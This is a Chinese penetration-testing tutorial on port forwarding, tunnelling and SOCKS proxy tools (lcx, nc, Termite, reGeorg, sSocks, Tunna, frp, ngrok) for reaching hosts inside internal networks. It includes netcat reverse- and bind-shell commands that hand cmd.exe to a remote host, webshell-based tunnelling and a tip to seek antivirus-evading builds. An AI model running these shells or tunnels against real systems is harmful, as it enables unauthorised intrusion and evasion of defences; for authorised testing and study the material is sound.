理论上,任何接入互联网的计算机都是可访问的,但是如果目标主机处于内网,而我们又想和该目标主机进行通信的话,就需要借助一些端口转发工具来达到我们的目的

注:文中提到的所有工具下载地址 https://github.com/Brucetg/Pentest-tools

一、LCX

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,

Windows版使用方法如下:

lcx有两大功能:

1)端口转发(listen和slave成对使用)

2)端口映射(tran)

1、lcx 内网端口转发

1.内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口

例如:

lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389

意思是把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口

2.公网主机 上执行 Lcx.exe –listen 公网主机端口1 公网主机端口2

例如:

lcx.exe –listen 4444 5555

意思是监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。

此时,RDP 连接,Windows 命令行下输入mstsc,即可打开远程桌面连接:

如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入 公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。

2、本地端口转发

由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,

目标主机上执行:

lcx -tran 53 目标主机ip 3389

这时我们可以直接远程桌面连接到到 目标主机IP:53

注:软件可能会被杀软查杀,可自行寻找免杀版本。

Linux版使用方法:

例如:

先在具有公网ip的主机上执行:

./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777

意思是监听来自6666端口的请求,将其转发到7777端口

再在内网主机上执行:

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666

意思就是将内网主机22端口的流量转发到公网主机的6666端口。

然后在Linux系统命令行下执行

ssh 公网主机ip 7777

即可连接内网主机。

二、nc 反弹

nc使用方法:

反向连接

在公网主机上进行监听:

nc -lvp 4444

在内网主机上执行:

nc -t -e cmd.exe 公网主机ip 4444

上述命令中 -t 参数是指通过telnet模式执行cmd.exe,可省略。

成功后即可得到一个内网主机的cmd shell。

正向连接

远程主机上执行:

nc -l -p 4444 -t -e cmd.exe

本地主机上执行:

nc -vv 远程主机ip 4444

成功后,本地主机就获得了远程主机的一个cmd shell。

三、socks代理工具

1). Termite 是EW(EarthWorm)的最新版,官方链接: http://rootkiter.com/Termite/

主要特性: 多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便

使用方法,以Windows平台为例:

管理端:

客户端:

客户端执行:

agent_windows_x86.exe -l  4444

管理端执行:

admin_windows_x86.exe -c 127.0.0.1 -p 4444

将新的agent加入拓扑:

agent_windows_x86.exe -c 127.0.0.1 -p 4444

具体使用方法可参考: http://rootkiter.com/Termite/README.txt

Usage

1.以服务模式启动一个agent服务。

$ ./agent -l 8888

2.令管理端连接到agent并对agent进行管理。

$ ./admin -c 127.0.0.1 -p 8888

3.此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。

help

4.通过show指令可以得到当前agent的拓扑情况。

show 0M +– 1M 由于当前拓扑中只有一个agent,所以展示结果只有 1M , 其中1 为节点的ID号, M为MacOS系统的简写,Linux为L,Windows简写为W。

5.将新agent加入当前拓扑

./agent -c 127.0.0.1 -p 8888

6.此时show指令将得到如下效果 0M +– 1M | +– 2M 这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。

7.在2节点开启socks代理,并绑定在本地端口

goto 2 将当前被管理节点切换为 2 号节点。socks 1080 此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。

8.在1号节点开启一个shell并绑定到本地端口

goto 1shell 7777 此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell.

9.将远程的文件下载至本地

goto 1downfile 1.txt 2.txt 将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt

10.上传文件至远程节点

goto 2upfile 2.txt 3.txt 将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt

11.端口转接

goto 2 lcxtran 3388 10.0.0.1 3389 以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口

视频教程:

http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4

2). reGeorg 工具地址: https://github.com/sensepost/reGeorg

reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。

使用方法:

3). sSocks 工具地址: http://sourceforge.net/projects/ssocks/

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14

下载解压后,执行命令编译。

./configure && make

(这里我提供的压缩包中该软件是已经编译好的!)

编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks,其功能说明介绍如下:

程序功能:

nsocks 类似通过Socks5代理后的netcat,可用来测试socks server ssocksd 用来开启Socks5代理服务 ssocks 本地启用Socks5服务,并反弹到另一IP地址 rcsocks 接收反弹过来的Socks5服务,并转向另一端口

使用示例:

公网主机上执行:

./rcsocks -l 4444 -p 5555 -vv

内网主机上执行:

./rssocks –vv –s 公网主机ip:5555

这时本地主机可以通过访问公网主机的 4444 端口访问内网主机。

4). proxychains 工具地址址:http://proxychains.sourceforge.net/

Ubuntu 下可直接执行以下命令安装:

sudo apt-get updatesudo apt-get install proxychains

Proxychains 是一款 LINUX 平台下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain 可使用不同类型的代理服务器。

网上有很多该工具的使用介绍,请自行根据需要查找。

5). Tunna 工具地址: https://github.com/SECFORCE/Tunna

该工具使用的先决条件:

能够在远程服务器上上传webshell

使用方法:

python proxy.py -u <remoteurl> -l <localport> [options]

options:

--help, -h 显示此帮助信息并退出--url=URL, -u URL 为远程webshel​​l的URL--lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口--verbose, -v 详细(输出数据包大小)--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)

No SOCKS Options:

如果使用SOCKS代理,选项将被忽略

--no-socks, -n 不使用 Socks 代理--rport=REMOTE_PORT, -r    REMOTE_PORT远程服务端口,供webshel​​l连接--addr=REMOTE_IP, -a REMOTE_IP 远程webshel​​l连接到的地址(默认为 127.0.0.1)

上游代理选项:

通过本地代理进行隧道连接

--up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128)--auth, -A 上游代理需要认证

高级选项:

--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)--start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)--cookie, -C 请求cookies--authentication, -t 基本认证

使用方法示例:

内网主机为Windows:

python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v

其中:

-l 表示本地监听的端口

-r 远程要转发的端口

-v 详细模式

如果内网主机为Linux,则可以将22端口转发出来,更详细的使用方法请参考github上面的说明。

四、frp 内网穿透利器

frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。

工具地址: https://github.com/fatedier/frp

frp 的作用

利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。

对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。

利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。

在Windows平台下该工具的文件目录中frpc.ini和frpc_full.ini都为客户端配置文件,其中frpc_full.ini包括所有配置信息,我们可参考它来修改frpc.ini文件作为我们的配置文件,同理,frps.ini为服务器端配置文件。

frp服务端配置文件示例:

#frps.ini    

[common]
bind_addr = 0.0.0.0
bind_port = 7000
vhost_http_port = 80
vhost_https_port = 443
dashboard_port = 7500
dashboard_user = {username}
dashboard_pwd = {password}privilege_mode = true
privilege_token = {privilege_token}

[http]
type = http
auth_token = {auth_token}
custom_domains = {cudtom_domains}

[https]
type = https
auth_token = {auth_token}
custom_domains = {custom_domains}

实际使用时请将上述配置中的花括号处内容替换为自己的配置。比如将 {username} 替换为 admin。

启动frp服务器端:

frps.exe -c frps.ini

浏览器访问: 127.0.0.1:7500,输入frps.ini中配置的用户名和密码即可进入控制面板:

frp客户端配置示例:

#frpc.ini

[common]
server_addr = xxx
server_port = 7000
auth_token = {auth_token}
privilege_token = {privilege_token}

[http]
type = http
local_ip = 127.0.0.1
local_port = 80

[https]
type = https
local_ip = 127.0.0.1
local_port = 443

[ssh]
type = tcp
local_port = 22
remote_port = 5555

注意frp客户端和服务端的 auth_token 和 privilege_token 等要保持一致。

启动frp客户端:

frpc.exe -c frpc.ini

更多使用方法详见 https://github.com/fatedier/frp/blob/master/README_zh.md

五、ngrok 内网穿透

工具地址: https://ngrok.com/download

ngrok支持Windows、Linux、Mac OS X等多个平台,可自行选择需要的版本来下载使用

分为免费版本和收费版本:

使用方法:

这里仅简单演示下Windows平台上的使用:

首先在内网主机上执行(内网主机需安装Python):

python -m SimpleHTTPServer 8089

我这里在Windows下用Python 2.7来演示,就执行:

py -2 -m SimpleHTTPServer 8089

将ngrok上传至内网主机并启动ngrok:

ngrok.exe http 8089

这时我们只需要在浏览器中访问:

http://cdb0e21b.ngrok.io
或者

https://cdb0e21b.ngrok.io

即可通过HTTP或者HTTPS来访问内网主机上的文件。

当然ngrok还有很多其他功能,更多使用方法请参考官方文档: https://ngrok.com/docs

六、总结

目前内网渗透中一般都会用到端口转发与代理,本文也只是列出了一些常见的工具,还有很多其他工具没有涉及到,希望能给大家带来一些帮助,有错误的话也欢迎指出,dalao们请轻喷2333。

参考链接:

http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html

http://wooyun.jozxing.cc/static/drops/tools-15000.html

5、内网渗透之端口转发与代理工具总结相关推荐

  1. 端口转发与代理工具 内网代理 内网反弹代理

    目录 一.LCX 二.nc 反弹 三.socks代理工具 四.frp 内网穿透利器 五.ngrok 内网穿透 理论上,任何接入互联网的计算机都是可访问的,但是如果目标主机处于内网,而我们又想和该目标主 ...

  2. 内网穿透及端口转发(下)

    0x05 ICMP隧道 注意:在搭建ICMP隧道的时候切记把自身的icmp关闭 (sysctl -w net.ipv4.icmp_echo_ignore_all=1) ptunnel ptunnel, ...

  3. 内网渗透测试 MSF搭建socks代理

    环境搭建: 最终效果为如此,web服务器可以ping通外网和内网两台服务器 外网打点 信息收集 发现端口: 80 http 3306 mysql 敏感目录: /phpMyadmin 数据库弱口令 ro ...

  4. 突破大文件上传 和内网ip的端口转发

    php上传大于2M文件的解决方法 2016年12月11日 14:22:06 katelyn9 阅读数 1222php上传大于2M文件的解决方法如上传一个文件大于2m往往是上传不成功的解决方法:php. ...

  5. mysql 1433端口映射_内网渗透-1433端口渗透过程

    1.在内网环境中收集开放1433端口的服务器: 2.针对开放1433端口的服务器开始渗透: 2.1利用msf 爆破1433端口:192.168.10.251 (1)use auxiliary/scan ...

  6. 1.我所了解的内网渗透

    最近看了一点内网渗透的学习资料,感觉内网渗透需要的知识太多,遂写博客来记录下自己学习内网渗透的一些笔记. 开篇首先推荐i春秋陈小兵老师在技术沙龙上的分享:https://www.ichunqiu.co ...

  7. 红蓝对抗之隧道技术第一篇(内网穿透、端口映射端口转发、Netsh端口转发、CS正反向连接多层内网、Burp设置上游代理访问内网、MSF protfwd端口转发/重定向)

    文章目录 隧道应用 端口映射&端口转发 Netsh端口转发 Netsh端口转发meterpreter CS正向连接多层内网 CS反向连接多层内网 Burp设置上游代理访问内网 MSF prot ...

  8. 渗透知识-内网渗透(详细版本)

    1. 内网安全检查/渗透介绍 1.1 攻击思路 有2种思路: 攻击外网服务器,获取外网服务器的权限,接着利用入侵成功的外网服务器作为跳板,攻击内网其他服务器,最后获得敏感数据,并将数据传递到攻击者,看 ...

  9. msf监听php反弹shell,使用msf进行反弹shell+内网渗透

    首先说明一点,反弹shell的前提是该主机可以执行咱们的恶意命令 反弹shell的原理与灰鸽子的原理是类似的,就是在靶机上执行一个咱们msf精心构造的客户端,使靶机主动回连咱们攻击机的某个端口.下面开 ...

最新文章

  1. 每个程序员都应该了解的内存知识【第一部分】
  2. 【转】matlab练习程序(奇异值分解压缩图像)
  3. PostGIS mysql_fdw安装(Linux)
  4. Python:通过执行100万次打印来比较C和python的性能,以及用C和python结合来解决性能问题的方法 .
  5. 在IDEA集成Github
  6. python具有可嵌入性_如何构建可嵌入Python
  7. NonEmpty和Hierarchize嵌套的bug
  8. lwip协议栈实现服务器端主动发送,《LwIP协议栈源码详解——TCP/IP协议的实现》IP层输入...
  9. matlab爱心函数代码画图
  10. 时间序列预测算法——DeepAR
  11. 疫情常态下的医院信息化建设新思考
  12. Acwing-4645. 选数异或
  13. 人工智能和中国国家人工智能发展战略
  14. 数字化孪生管理平台运用现状及技术前景
  15. Jsoup 解析Html源码实例
  16. APP为什么打开率低?三大原因和应对之策!
  17. 暴雨,她还会再回来的,广东已开通本月降雨套餐
  18. 回归年、恒星年、太阳日、恒星日和闰秒相关知识
  19. Linux下离线或在线安装libreoffice
  20. RYU+Mininet的SDN架构-设计校园网络(三)

热门文章

  1. 【多边形法】解决循环赛问题(n分为奇数和偶数)
  2. 【CubeMX配置STM32使用360°旋转编码器(KY-040)】
  3. 你的笑,你的哭,都是她专属的表情
  4. Springboot整合activiti(最详细版)
  5. secureCRT log file的设置
  6. 基于JavaWeb的汽车销售管理系统设计与实现 项目源码及数据库文件+论文
  7. 在IDLE中运行和调试程序
  8. iconfont添加新图标_添加自定义图标(iconfont)
  9. defi 去中心化金融
  10. 计算机网络点对点模式,点对点模式——进一步分析